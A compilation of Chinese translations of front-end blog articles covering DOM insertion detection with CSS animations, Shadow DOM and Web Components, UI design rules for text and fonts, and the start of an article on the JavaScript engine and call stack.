另一个有点奇怪的选择是依赖 CSS 动画。这听起来可能有点令人困惑。基本上,我们的想法是创建一个动画,一旦元素被添加到 DOM 中,动画就会被触发。动画开始的那一刻,animationstart 事件将被触发:如果已经将事件处理程序附加到该事件,那么你将确切地知道元素何时被添加到 DOM 中。动画的执行时间周期应该很小,用户几乎看不到它。

首先,需要一个父级元素,我们在它的内部监听节点的插入:

<div id=”container-element”></div>

为了得到节点插入的处理器,需要设置一系列的 keyframe 动画,当节点插入的时候,动画将会开始。

@keyframes nodeInserted { 
 from { opacity: 0.99; }
 to { opacity: 1; } 
}

创建 keyfram 后,还需要把它放入你想监听的元素上,注意应设置很小的 duration 值 —— 它们将会减弱动画在浏览器上留下的痕迹。

#container-element * {
  animation-duration: 0.001s;
  animation-name: nodeInserted;
}

这会将动画添加到 container-element 的所有子节点。 动画结束时,将触发插入事件。

我们需要一个 JavaScript 函数作为事件监听器。在函数中,必须进行初始的 event.animationName 检查以确保它是我们想要的动画。

var insertionListener = function(event) {
  // Making sure that this is the animation we want.
  if (event.animationName === "nodeInserted") {
    console.log("Node has been inserted: " + event.target);
  }
}

现在是时候为父级元素添加事件监听了:

document.addEventListener(“animationstart”, insertionListener, false); // standard + firefox
document.addEventListener(“MSAnimationStart”, insertionListener, false); // IE
document.addEventListener(“webkitAnimationStart”, insertionListener, false); // Chrome + Safari

浏览器对CSS动画的支持情况:

image

MutationObserver 比上述解决方案有许多优点。本质上,它涵盖了 DOM 中可能发生的每一个更改,并且在批量触发更改时,它的优化程度更高。最重要的是,所有主要的现代浏览器都支持 MutationObserver,还有一些使用引擎下 MutationEvents 的 polyfill。

原文:

https://blog.sessionstack.com/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver-86adc7446401

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

17.JavaScript 是如何工作: Shadow DOM 的内部结构+如何编写独立的组件!

image

概述

Web Components 是一套不同的技术,允许你创建可重用的定制元素,它们的功能封装在你的代码之外,你可以在 Web 应用中使用它们。

Web组件由四部分组成:

  • Shadow DOM(影子DOM)

  • HTML templates(HTML模板)

  • Custom elements(自定义元素)

  • HTML Imports(HTML导入)

在本文中主要讲解 Shadow DOM(影子DOM)

Shadow DOM 这款工具旨在构建基于组件的应用。因此,可为网络开发中的常见问题提供解决方案:

  • 隔离 DOM:组件的 DOM 是独立的(例如,document.querySelector() 不会返回组件 shadow DOM 中的节点)。
  • 作用域 CSS:shadow DOM 内部定义的 CSS 在其作用域内。样式规则不会泄漏,页面样式也不会渗入。
  • 组合:为组件设计一个声明性、基于标记的 API。
  • 简化 CSS - 作用域 DOM 意味着您可以使用简单的 CSS 选择器,更通用的 id/类名称,而无需担心命名冲突。

Shadow DOM

本文假设你已经熟悉 DOM 及其它的 Api 的概念。如果不熟悉,可以在这里阅读关于它的详细文章—— https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction。

阴影 DOM 只是一个普通的 DOM,除了两个区别:

  • 创建/使用的方式

  • 与页面其他部分有关的行为方式

通常,你创建 DOM 节点并将其附加至其他元素作为子项。 借助于 shadow DOM,您可以创建作用域 DOM 树,该 DOM 树附加至该元素上,但与其自身真正的子项分离开来。这一作用域子树称为影子树。被附着的元素称为影子宿主。 您在影子中添加的任何项均将成为宿主元素的本地项,包括 <style>。 这就是 shadow DOM 实现 CSS 样式作用域的方式

通常,创建 DOM 节点并将它们作为子元素追加到另一个元素中。借助于 shadow DOM,创建一个作用域 DOM 树,附该 DOM 树附加到元素上,但它与实际的子元素是分离的。这个作用域的子树称为 影子树,被附着的元素称为影子宿主。向影子树添加的任何内容都将成为宿主元素的本地元素,包括 <style>,这就是 影子DOM 实现 CSS 样式作用域的方式。

创建 shadow DOM

影子根是附加到“宿主”元素的文档片段,元素通过附加影子根来获取其 shadow DOM。要为元素创建阴影 DOM,调用 element.attachShadow() :

var header = document.createElement('header');
var shadowRoot = header.attachShadow({mode: 'open'});
var paragraphElement = document.createElement('p');

paragraphElement.innerText = 'Shadow DOM';
shadowRoot.appendChild(paragraphElement);

规范定义了元素列表,这些元素无法托管影子树,元素之所以在所选之列,其原因如下:

  • 浏览器已为该元素托管其自身的内部 shadow DOM(<textarea><input>)。

  • 让元素托管 shadow DOM 毫无意义 ()。

例如,以下方法行不通:

document.createElement('input').attachShadow({mode: 'open'});
// Error. `<input>` cannot host shadow dom.

Light DOM

这是组件用户写入的标记。该 DOM 不在组件 shadow DOM 之内,它是元素的实际孩子。假设已经创建了一个名为<extended-button> 的定制组件,它扩展了原生 HTML 按钮组件,此时希望在其中添加图像和一些文本。代码如下:

<extended-button>
  <!-- the image and span are extended-button's light DOM -->
  <img src="boot.png" slot="image">
  <span>Launch</span>
</extended-button>

“extension -button” 是定义的定制组件,其中的 HTML 称为 Light DOM,该组件由用户自己添加。

这里的 Shadow DOM 是你创建的组件 extension-button。Shadow DOM是 组件的本地组件,它定义了组件的内部结构、作用域 CSS 和 封装实现细节。

扁平 DOM 树

浏览器将用户创建的 Light DOM 分发到 Shadow DOM,并对最终产品进行渲染。扁平树是最终在 DevTools 中看到的以及页面上呈渲染的对象。

<extended-button>
  #shadow-root
  <style>…</style>
  <slot name="image">
    <img src="boot.png" slot="image">
  </slot>
  <span id="container">
    <slot>
      <span>Launch</span>
    </slot>
  </span>
</extended-button>

模板 (Templates)

如果需要 Web 页面上重复使用相同的标签结构时,最好使用某种类型的模板,而不是一遍又一遍地重复相同的结构。这在以前也是可以实现,但是 HTML 元素(在现代浏览器中得到了很好的支持)使它变得容易得多。此元素及其内容不在 DOM 中渲染,但可以使用 JavaScript 引用它。

一个简单的例子:

<template id="my-paragraph">
  <p> Paragraph content. </p>
</template>

这不会出现在页面中,直到使用 JavaScrip t引用它,然后使用如下方式将其追加到 DOM 中:

var template = document.getElementById('my-paragraph');
var templateContent = template.content;
document.body.appendChild(templateContent);

到目前为止,已经有其他技术可以实现类似的行为,但是,正如前面提到的,将其原生封装起来是非常好的,Templates 也有相当不错的浏览器支持:

image

模板本身是有用的,但它们与自定义元素配合会更好。 可以 customElement Api 能定义一个自定义元素,并且告知 HTML 解析器如何正确地构造一个元素,以及在该元素的属性变化时执行相应的处理。

让我们定义一个 Web 组件名为 <my-paragraph>,该组件使用之前模板作为它的 Shadow DOM 的内容:

customElements.define('my-paragraph',
 class extends HTMLElement {
   constructor() {
     super();

     let template = document.getElementById('my-paragraph');
     let templateContent = template.content;
     const shadowRoot = this.attachShadow({mode: 'open'}).appendChild(templateContent.cloneNode(true));
  }
});

这里需要注意的关键点是,我们向影子根添加了模板内容的克隆,影子根是使用 Node.cloneNode() 方法创建的。

因为将其内容追加到一个 Shadow DOM 中,所以可以在模板中使用 <style> 元素的形式包含一些样式信息,然后将其封装在自定义元素中。如果只是将其追加到标准 DOM 中,它是无法工作。

例如,可以将模板更改为:

<template id="my-paragraph">
  <style>
    p {
      color: white;
      background-color: #666;
      padding: 5px;
    }
  </style>
  <p>Paragraph content. </p>
</template>

现在自定义组件可以这样使用:

<my-paragraph></my-paragraph>

元素

模板有一些缺点,主要是静态内容,它不允许我们渲染变量/数据,好可以让我们按照一般使用的标准 HTML 模板的习惯来编写代码。Slot 是组件内部的占位符,用户可以使用自己的标记来填充。让我们看看上面的模板怎么使用 slot

<template id="my-paragraph">
  <p> 
    <slot name="my-text">Default text</slot> 
  </p>
</template>

如果在标记中包含元素时没有定义插槽的内容,或者浏览器不支持插槽,<my-paragraph> 就只展示文本 “Default text”

为了定义插槽的内容,应该在 <my-paragraph> 元素中包含一个 HTML 结构,其中的 slot 属性的值为我们定义插槽的名称:

<my-paragraph>
 <span slot="my-text">Let's have some different text!</span>
</my-paragraph>

可以插入插槽的元素称为 Slotable; 当一个元素插入一个插槽时,它被称为开槽 (slotted)。

注意,在上面的例子中,插入了一个 <span> 元素,它是一个开槽元素,它有一个属性 slot,它等于 my-text,与模板中的 slot 定义中的 name 属性的值相同。

在浏览器中渲染后,上面的代码将构建以下扁平 DOM 树:

<my-paragraph>
  #shadow-root
  <p>
    <slot name="my-text">
      <span slot="my-text">Let's have some different text!</span>
    </slot>
  </p>
</my-paragraph>

设定样式

使用 shadow DOM 的组件可通过主页来设定样式,定义其自己的样式或提供钩子(以 CSS 自定义属性的形式)让用户替换默认值。

组件定义的样式

作用域 CSS 是 Shadow DOM 最大的特性之一:

  • 外部页面的 CSS 选择器不应用于组件内部
  • 组件内定义的样式不会影响页面的其他元素,它们的作用域是宿主元素

shadow DOM 内部使用的 CSS 选择器在本地应用于组件实际上,这意味着我们可以再次使用公共vid/类名,而不用担心页面上其他地方的冲突,最佳做法是在 Shadow DOM 内使用更简单的 CSS 选择器,它们在性能上也不错。

看看在 #shadow-root 定义了一些样式的:

#shadow-root
<style>
  #container {
    background: white;
  }
  #container-items {
    display: inline-flex;
  }
</style>

<div id="container"></div>
<div id="container-items"></div>

上面例子中的所有样式都是#shadow-root的本地样式。使用元素在#shadow-root中引入样式表,这些样式表也都属于本地的。

:host 伪类选择器

使用 :host 伪类选择器,用来选择组件宿主元素中的元素 (相对于组件模板内部的元素)。

<style>
  :host {
    display: block; /* by default, custom elements are display: inline */
  }
</style>

当涉及到 :host 选择器时,应该小心一件事:父页面中的规则具有比元素中定义的 :host 规则具有更高的优先级,这允许用户从外部覆盖顶级样式。而且 :host 只在影子根目录下工作,所以你不能在Shadow DOM 之外使用它。

如果 :host(<selector>) 的函数形式与 <selector> 匹配,你可以指定宿主,对于你的组件而言,这是一个很好的方法,它可让你基于宿主将对用户互动或状态的反应行为进行封装,或对内部节点进行样式设定:

<style>
  :host {
    opacity: 0.4;
  }
  
  :host(:hover) {
    opacity: 1;
  }
  
  :host([disabled]) { /* style when host has disabled attribute. */
    background: grey;
    pointer-events: none;
    opacity: 0.4;
  }
  
  :host(.pink) > #tabs {
    color: pink; /* color internal #tabs node when host has class="pink". */
  }
</style>

:host-context()

:host-context(<selector>) 或其任意父级与 匹配,它将与组件匹配。 例如,在文档的元素上可能有一个用于表示样式主题 (theme) 的 CSS 类,而我们应当基于它来决定组件的样式。
比如,很多人都通过将类应用到 或 进行主题化:

<body class="lightheme">
  <custom-container>
  …
  </custom-container>
</body>

在下面的例子中,只有当某个祖先元素有 CSS 类theme-light时,我们才会把background-color样式应用到组件内部的所有元素中:

:host-context(.theme-light) h2 {
  background-color: #eef;
}

/deep/

组件样式通常只会作用于组件自身的 HTML 上,我们可以使用 /deep/ 选择器,来强制一个样式对各级子组件的视图也生效,它不但作用于组件的子视图,也会作用于组件的内容。

在下面例子中,我们以所有的元素为目标,从宿主元素到当前元素再到 DOM 中的所有子元素:

:host /deep/ h3 {
  font-style: italic;
}

/deep/ 选择器还有一个别名 >>>,可以任意交替使用它们。

/deep/>>> 选择器只能被用在**仿真 (emulated)**模式下。 这种方式是默认值,也是用得最多的方式。

从外部为组件设定样式

有几种方法可从外部为组件设定样式:最简单的方法是使用标记名称作为选择器,如下

custom-container {
  color: red;
}

外部样式比在 Shadow DOM 中定义的样式具有更高的优先级。

例如,如果用户编写选择器:

custom-container {
  width: 500px;
}

它将覆盖组件的样式:

:host {
  width: 300px;
}

对组件本身进行样式化只能到此为止。但是如果人想要对组件的内部进行样式化,会发生什么情况呢?为此,我们需要 CSS 自定义属性。

使用 CSS 自定义属性创建样式钩子

如果组件的开发者通过 CSS 自定义属性提供样式钩子,则用户可调整内部样式。其**类似于<slot>,但适用于样式。

看看下面的例子:

<!-- main page -->
<style>
  custom-container {
    margin-bottom: 60px;
     - custom-container-bg: black;
  }
</style>

<custom-container background>…</custom-container>

在其 shadow DOM 内部:

:host([background]) {
  background: var( - custom-container-bg, #CECECE);
  border-radius: 10px;
  padding: 10px;
}

在本例中,该组件将使用 black 作为背景值,因为用户指定了该值,否则,背景颜色将采用默认值 #CECECE

作为组件的作者,是有责任让开发人员了解他们可以使用的 CSS 定制属性,将其视为组件的公共接口的一部分。

在 JS 中使用 slot

Shadow DOM API 提供了使用 slot 和分布式节点的实用程序,这些实用程序在编写自定义元素时迟早派得上用场。

slotchange 事件

slot 的分布式节点发生变化时,slotchange 事件将触发。例如,如果用户从 light DOM 中添加/删除子元素。

var slot = this.shadowRoot.querySelector('#some_slot');
slot.addEventListener('slotchange', function(e) {
  console.log('Light DOM change');
});

要监视对 light DOM 的其他类型的更改,可以在元素的构造函数中使用 MutationObserver。以前讨论过 MutationObserver 的内部结构以及如何使用它

assignedNodes() 方法

有时候,了解哪些元素与 slot 相关联非常有用。调用 slot.assignedNodes() 可查看 slot 正在渲染哪些元素。 {flatten: true} 选项将返回 slot 的备用内容(前提是没有分布任何节点)。

让我们看看下面的例子:

<slot name=’slot1’><p>Default content</p></slot>

假设这是在一个名为 <my-container> 的组件中。

看看这个组件的不同用法,以及调用 assignedNodes() 的结果是什么:

在第一种情况下,我们将向 slot 中添加我们自己的内容:

<my-container>
  <span slot="slot1"> container text </span>
</my-container>

调用 assignedNodes() 会得到 [<span slot= " slot1 " > container text </span>],注意,结果是一个节点数组。

在第二种情况下,将内容置空:

<my-container> </my-container>

调用 assignedNodes() 的结果将返回一个空数组 []

在第三种情况下,调用 slot.assignedNodes({flatten: true}),得到结果是: [<p>默认内容</p>]

此外,要访问 slot 中的元素,可以调用 assignedNodes() 来查看元素分配给哪个组件 slot

事件模型

值得注意的是,当发生在 Shadow DOM 中的事件冒泡时,会发生什么。

当事件从 Shadow DOM 中触发时,其目标将会调整为维持 Shadow DOM 提供的封装。也就是说,事件的目标重新进行了设定,因此这些事件看起来像是来自组件,而不是来自 Shadow DOM 中的内部元素。

下面是从 Shadow DOM 传播出去的事件列表(有些没有):

  • **聚焦事件:**blur、focus、focusin、focusout
  • **鼠标事件:**click、dblclick、mousedown、mouseenter、mousemove,等等
  • **滚轮事件:**wheel
  • **输入事件:**beforeinput、input
  • **键盘事件:**keydown、keyup
  • **组合事件:**compositionstart、compositionupdate、compositionend
  • **拖放事件:**dragstart、drag、dragend、drop,等等

自定义事件

默认情况下,自定义事件不会传播到 Shadow DOM 之外。如果希望分派自定义事件并使其传播,则需要添加 bubbles: truecomposed: true 选项。

让我们看看派发这样的事件是什么样的:

var container = this.shadowRoot.querySelector('#container');
container.dispatchEvent(new Event('containerchanged', {bubbles: true, composed: true}));

浏览器支持

如希望获得 shadow DOM 检测功能,请查看是否存在 attachShadow:

const supportsShadowDOMV1 = !!HTMLElement.prototype.attachShadow;

image

有史以来第一次,我们拥有了实施适当 CSS 作用域、DOM 作用域的 API 原语,并且有真正意义上的组合。 与自定义元素等其他网络组件 API 组合后,shadow DOM 提供了一种编写真正封装组件的方法,无需花多大的功夫或使用如 <iframe> 等陈旧的东西。

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

创建华丽 UI 的 7条规则  第二部分 (2019年更新)

以下是这个系列的简洁 UI 的 7 条规则:

  1. 光来自天空 (Light comes from the sky)
  2. 黑白优先 (Black and white first)
  3. 加倍你的空白 (Double your whitespace)
  4. 学习在图像上叠加文本的方法 ( Learn the methods of overlaying text on images )
  5. 使文本层次分明 ( Make text pop — and un-pop )
  6. 只使用好看的字体 ( Only use good fonts )
  7. 像艺术家一样借鉴 ( Steal like an artist )

4. 学习在图像上叠加文本的方法

在图像上添加吸引人文本方法只那么几种,这里介绍五种常规和一种额外的方法。

如果想成为一名优秀的 UI 设计师,必须学会如何以一种吸引人的方式将文本放置于图像之上。每个优秀的 UI 设计师在这个方面都能做得很好,相反的糟糕的 UI 设计师都处理的很差,或者根本不处理。不管你是优秀还是平庸的设计师,阅读这篇文章后,多多少少对你都有帮助。

方法一:将文本直接放置于图片上

我一直在考虑要不要把这个方法算进五种方法的一种,但设计上,直接将文字放置于图片上让视觉效果更好是可行的。

image

这种方法有各种各样的问题和需要注意事项:

  1. 图像色调应该偏暗,并且竖直方向上不能有太大的色差。

  2. 文本必须是白色的。

  3. 测量不同尺寸的屏幕或窗口以确保图像显示正常。

我想我从来没有在任何专业项目中直接在图像上使用文本,之所以提到它,是把它看做是一种应该掌握的技巧,就是说这种方法虽然可能可以产生非常酷炫的效果,但使用的时候需要小心

image

方法二:文本覆盖整个图像

将文本放在图像上最简单的方法就是用遮罩将图片整个覆盖,如果原始图像不够暗,可以在整个图像上添加半透明的黑色图层。

下图是一个时下流行的、用半透明黑色遮罩覆盖图片的示例。

image

如果打开发工具并删除覆盖层,将看到原始图像太亮,对比度太大,文本难以辨认。但是用黑色半透明的图层覆盖,看上去就没问题了!

这个方法用在缩略图和小的图片上同样好用。

image

虽然黑色覆盖是最简单和最通用的,当然也有用彩色覆盖。

image

方法三:盒模型中的文本

这种方法简单又可靠。试试把一个稍微透明的黑色长方形框里放上一些白色的文字。如果图片的不透明度(opaque)足够,你可以使用任意一张图片,都可以保证文字的清晰可读。

Modern Honolulu iPhone概念化产品

当然也可以使用一些颜色,只是在选择色彩时候要有依据。

image

方法四:模糊图片

使文本内容清晰的一个神奇的方法,是将背景图像的一部分变得模糊。

image

苹果确实让背景变得模糊了,尽管它是在 Windows 系统中最先实现的。

image

你也可以用照片的散焦(out-of-focus)部分来作为模糊区域。但是请注意 —— 这个办法并不好使。如果图片做了一点改变,就得确保这些文字位置在对应的模糊区域中。

image

请阅读下图中的子标题:

image

**方法五:Floor Fade **

Floor Fade 指的是图片靠近底部的地方逐渐变黑,然后接着把白字填在上面。这是个非常巧妙的办法,我不知道是谁发明的,在Medium使用它之前,我从未见过有人用它。

image

对于上面的图像,你可能会觉得就是直接在图像上放置了白色的文字,其实不然,你仔细看,你会发现其实是一个由 0% 不透明度到20%不透明度渐变的矩形框。

这种渐变效果确实很难看出来,但确实是有的,绝对改善清晰度。

还要注意的是,这几张缩略图使用了文本阴影来进一步增强可读性,这个做法真棒!

Medium达到了这样的境界:任何文字放置在任何图片上,都能获得良好的阅读效果。

哦,还有一件事——为什么图像底部逐渐变暗? 关于这个问题的答案,上篇讲的规则1——灯光通常是从上面照下来的。为了让我们的眼睛看起来更自然,图像的底部稍微暗一点,就像我们所见过的其他事物一样。

更高级的做法,就是结合模糊化,这样的结合就是底部模糊化了。

image

额外的办法:纱罩

无论背景图像怎么变,Elastica blog的标题总是清晰易读的,这是怎么做到的?应该是这样:

  • 并不是特别黑的
  • 有一点高对比度

然而,很难描述为什么文本如此易读。 看一看:

image

image

答案是:纱罩。

纱幕是一种使光线更柔和的摄影器材。现在它也是一种视觉设计技术,用于软化图像,使叠加的文本更清晰。

在浏览器放大 Elastica 博客上,就可以更清楚地做了什么效果。

image

在这句标题 “145,000 Salesforce Users Come out to Celebrate…”有一个让透光度渐变的框。应该可以很简单的注意到高对比度的照片下这个深蓝色的背景。

这可能是在图像上可靠地叠加文本的最微妙的方式,我在其他任何地方都没有见过(但它相当隐蔽)。不过要记下来,你或许在将来某些时候需要它。

5. 使文本层次分明

让文本看起来美观和合适通常做法的是以对比的方式设置样式 - 例如,更大但更轻。

在我看来,创建一个漂亮的用户界面最困难的部分就是文本的样式 - 当然不是因为不熟悉这些属性。 如果你刚小学毕业,那么你很可能已经使用了一种方法来引起注意或远离我们看到的文本:

  • 尺寸(大或小)

  • 颜色(反差较大或较小;色彩鲜明)

  • 字重(加深或者变轻)

  • 拼写(小写,大写和标题的格式)

  • 斜体

  • 字母间距

  • 边距

image

还有一些其做法可以引起别人的注意,通常不常用也不推荐使用:

  • 下划线 --下划线默认表示链接,除了链接外也没必要用它。
  • 文本的背景色 -- 不常见,但37 signals的网站曾使用它做为链接的样式。
  • 删除线 -- 90年代的CSS用法了

根据我的个人经验,当我发现一个我似乎无法找到合适的文本样式时,并不是因为我忘了尝试使用边距或更暗的颜色 - 而是因为最好的解决办法是同时设置几组“相矛盾的(competing)”属性。

Up-pop and down-pop

可以将设计文本的所有方式分为两组:

  • 增加文本可见性的样式。大号字体、粗体、大写的等等。

  • 降低文本可见性的样式。小号字体,对比度小的,边距小的,等等。

我们会这些叫做 "up-pop" 和 "down-pop" 的样式,以纪念 favorite adjective

image

“Material Design” 的标题有很多“up-pop”。大字号,强烈对比,粗体。

image

底部的元素就是“down-pop”的。字体小,对比度低,并且字体较细。

以下是非常重要的内容。

这个页的标题是仅有的用上了所有 up-pop 方法的文本。 对于所有别的东西,你需要 up-pop 并且 down-pop。

如果需要强调一个网站的内容元素,那么就同时使用“up-pop”和“down-pop”。这是为了防止元素过于突兀,将不同元素限制在它们应有的视觉重要性之内。

image

完美设计的 Blu Homes 网站有一些大标题,但是需要强调的单词都是小写的——过多的强调看起来会让人看不到重点。

image

Blu Homes 网站上的这些数字以它们的大小、颜色和对齐方式吸引你的眼球,但是请注意,它们同时被淡化了,字体很轻,低对比度的颜色

然而,数字下面的小标签虽然是灰色和小字体的,但也是大写字重大的。

这一切构成了平衡。

image

Contents Magazine 是一个 up-pop 和 down-pop 很不错的案例分析。

  • 文章标题基本上是惟一的非斜体页面元素。在这种情况下,缺乏斜体字会更有效地吸引眼球(特别是结合粗体的字体)

  • 在 by 的这一行里的作者名字是被加粗的 — 让它和平常字重的 "by" 分别了开来。

  • 小的、低对比度的“已经过时”文本不会碍手碍脚——但是由于它的大写类型、大的字母间距和大的空白,你可以在查找时立即看到它。

选中和鼠标停留样式

被选中和鼠标停留的文本样式是另外一回事了——并且很难。

通常,改变字体大小、大小写或字体权重会改变文本占用的区域大小,这种变化可以限制住悬浮效果。

所以还有哪些属性可以更改呢?

  • 字段颜色
  • 背影颜色
  • 阴影
  • 下划线
  • 轻微的动画 - 升高,降低等

一个实用的办法:尝试将白色元素变成彩色,或者将彩色的元素变为白色,但是文本的背景色要选用深色。

image

设计文本的样式是很难的。

最后我还是要告诉你,给文本加样式是很难的。

如果你想学习更多关于文本样式的知识,请查看学习UI设计,在这里有更多的详细介绍。

6. 使用好看的字体

有些字体不错,使用这些字体。

本节没有策略或内容需要学习,只列出一些不错的免费字体供你下载和使用。

这份学习指南是给学习者的,外面有超多免费的字体,所以就让我们用吧。

我建议大家现在就去下载它们,然后使用它们来对你的项目进行可视化设计。

image

以下推荐字体跟级别没有关系:

1. Work Sans

有时候正在设计一些需要现代,干净字体的东西,但是还要有一点乐趣。 Work Sans 非常适合这种场景。

image

下载地址:没包含斜体的 有包含斜体的

** 2. Roboto**

一种极好、干净的、通用的字体。虽然它是 Android 的默认字体,但对于 iPhone 和 web 应用程序来说,仍然没有得到充分的使用主要还是免费的!

image

image

谷歌地图有用到该字体

image

下载地址请点击这里

3. Montserrat

我曾经犹豫是否推荐 Montserrat 字体,因为它没有斜体字,字距怪异,而且厚得很难看)。但这个项目一直很活跃,Montserrat 变成了一种不可思议的字体。

image

它最有名的可能是最受欢迎(和精心设计的)Proxima Nova 的最佳免费替代品。

image

在选择任何字体时,最好查看大写、句子大小写和所有的字重。你永远不知道什么时候稍微不同的设置会成为你想要的风格。比较上面的两个镜头——同样的字体,两种不同的感觉。

下载地址点击这里

4. Source Sans Pro

我喜欢 Source Sans 的一件事是当你想要使用令人难以置信的过度使用的 Open Sans 或 Lato 时,它是一个很好的选择。

image

Source Sans与 Open Sans或 Lato - neutral 字符有许多相同的优点,只是有一点人性化(而不是冷冰冰的、生硬的几何字体),而且对于用户界面非常有用。

image

可以在 Google Fonts 上找到

5. IBM Plex Sans

去年,IBM 发布了自己的字体 Plex。

image

image

Plex SerifPlex Mono 轻松配对。

可以在 Google Fonts 上找到

6. Feather Icons

虽然许多流行的图标集(ahem,Font Awesome)具有过于圆润和起泡的形状,但与简洁的设计不能很好地搭配,但是 Feather Icons 是一种非常不受欢迎的解决方案。

image

作者还没有把它打包成图标字体,但是有人在 Github 上放了一个字体版本,可以很好地跟踪原始设置(如果你只使用了套装中的10或20个图标,没有必要加载整个包)。

下载地址:SVG set, partial icon font

有一些资源:

  • Beautiful Google web fonts。这个网站非常棒得展现出 Google Fonts 能有多好看。作者从它那找了好多好多次灵感。

  • FontSquirrel。一组最好的字体可供商业使用,而且完全免费。

  • Adobe Fonts。如果你使用的是 Adobe Creative Cloud( 即订阅 Photoshop 或Illustrator等 ),那么可以免费访问大量专业字体。甚至比我上面推荐的还要好:Proxima NovaAdelle SansDINFreight Text 等等。

  • Learn UI Design。寻找更好的字体?作者的用户界面设计课程有一个字体推荐列表,包含超过 60 种免费,涵盖所有类型的字体(衬线,平板,等宽字体,手写等),并包括每个字体的注释 字体效果最好。

image

7. 像艺术家一样借鉴

我第一次尝试设计一些应用程序元素 - 按钮,表,图表,弹出窗口 - 这是我第一次意识到我对如何让这些元素好看而知之甚少。

但幸运的是,我还没有发明任何新的 UI 元素。这意味着我总能看到别人是如何做到的,并从中挑选最好的。

但是我们要从哪里挑呢?这里有:

1.Dribbble

这个特邀的“给设计师展示”网站有网络上最好质量的 UI 设计作品。你可以在这里找到几乎最好的网站。

事实上,你可以在 Dribble 关注我的里面的作品,这里还有一些人你也可以关注:

  • Jamie Syke。基本上每天都发布新的UI,一些流行的东西回归丰富的经验和设计。我能说什么呢?关注就对咯。

  • Balkan Brothers。似乎是一个老生常谈的说法,设计师越接近俄罗斯,他们就越擅长颜色。 这些克罗地亚设计师非常棒,保持平淡有趣。 总是很棒的渐变,颜色和阴影。

  • Elegant Seagulls。如果你曾经想过“天哪,我怎么做比标准网格更有趣的事情?”,浏览他们的一些照片,这里有你想要的答案。

  • Cosmin Capitanu。一个非常厉害的多面手。他做得东西未来感十足,但又不过于高调。他非常善于使用颜色,然而他并不十分注重 UX 的东西 — 当然这个批评也针对 Dribbble 这个网站。

image

image

分别来自 Balkan Brothers 和 Cosmin Capitanu。

image

image

分别来自 Elegant Seagulls 和 Jamie Syke。

2.Flat UI Pinboard

我不知道“warmarc”是谁,但是他的手机UI的pinboard让我找到了许多漂亮的UI。

image

3. Pttrns

一个移动app屏幕截图的汇总。Pttrns 的好处是整个网站都是由用户体验模式来组织的。这使得快速研究目前正在使用的任何界面,无论是登录页面、用户配置文件、搜索结果等等,都非常方便。

image

我坚信每个艺术家都应该像鹦鹉一样去模仿,直到他们擅长模仿最好的。然后去寻找你自己的风格,发明新的潮流。

在这期间,让我们都先当一个模仿者吧。

总结

我写这篇文章是因为我希望自己在以前可以读到这篇。希望对你有帮助。如果你是一个用户体验设计师,画好线框图后做一个漂亮的模型。

如果你是一名开发人员,那就把你的下一个次要项目做好。我不想UI只有专业的人才能做的很好。就是观察、模仿和记录有用的东西。

无论如何,这就是我到目前为止所学到的,同时我永远都是一个学生,会不断向别学习!

原文: https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-2-430de537ba96

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

1.JavaScript是如何工作的:引擎,运行时和调用堆栈的概述!

本文是旨在深入研究JavaScript及其实际工作原理的系列文章中的第一篇:我们认为通过了解JavaScript的构建块以及它们是如何工作的,将能够编写更好的代码和应用程序。我们还将分享构建 SeStHealsStad 时使用的一些经验法则,这是一个轻量级的 JavaScript 应用程序,必须保持健壮和高性能以保持竞争力。

GitHut 统计 数据所示,在GitHub中的活动存储库和总推送方面,JavaScript处于顶部。它也不落后于其他类别。

image

如果项目越来越依赖于 JavaScript,这意味着开发人员必须利用语言和生态系统提供的所有内容,对内部进行更深入的了解,以便构建出色的软件。

事实证明,有很多开发人员每天都在使用JavaScript,但却不知道背后发生了什么。

概述

几乎每个人都已经听说过 V8 引擎,大多数人都知道 JavaScript 是单线程的,或者它使用的是回调队列。

在本文中,我们将详细介绍这些概念,并解释 JavaScrip 实际如何运行。通过了解这些细节,你将能够适当地利用所提供的 API 来编写更好的、非阻塞的应用程序。

如果您对JavaScript还比较陌生,那么本文将帮助您理解为什么JavaScript与其他语言相比如此“怪异”。

如果你是一个有经验的JavaScript开发人员,希望它能让您对每天使用的JavaScript运行时的实际工作方式有一些新的见解。

JavaScript引擎

JavaScript引擎的一个流行示例是Google的V8引擎。例如,在Chrome和Node.js中使用V8引擎,下面是一个非常简化的视图:

图片描述
image

V8引擎由两个主要部件组成:

  • emory Heap(内存堆) — 内存分配地址的地方
  • Call Stack(调用堆栈) — 代码执行的地方

Runtime(运行时)

有些浏览器的 API 经常被使用到(比如说:setTimeout),但是,这些 API 却不是引擎提供的。那么,他们是从哪儿来的呢?事实上这里面实际情况有点复杂。

image

所以说我们还有很多引擎之外的 API,我们把这些称为浏览器提供 API 称为 Web API,比如说 DOM、AJAX、setTimeout等等。

然后我们还拥有如此流行的事件循环和回调队列。

调用栈

JavaScript是一种单线程编程语言,这意味着它只有一个调用堆栈。因此,它一次只能做一件事。

调用栈是一种数据结构,它记录了我们在程序中的位置。如果我们运行到一个函数,它就会将其放置到栈顶,当从这个函数返回的时候,就会将这个函数从栈顶弹出,这就是调用栈做的事情。

来个栗子:

image

当程序开始执行的时候,调用栈是空的,然后,步骤如下:

image

每一个进入调用栈的都称为调用帧。

这能清楚的知道当异常发生的时候堆栈追踪是怎么被构造的,堆栈的状态是如何的,让我们看一下下面的代码:

image

如果这发生在 Chrome 里(假设这段代码实在一个名为 foo.js 的文件中),那么将会生成以下的堆栈追踪:

image

"堆栈溢出",当你达到调用栈最大的大小的时候就会发生这种情况,而且这相当容易发生,特别是在你写递归的时候却没有全方位的测试它。我们来看看下面的代码:

image

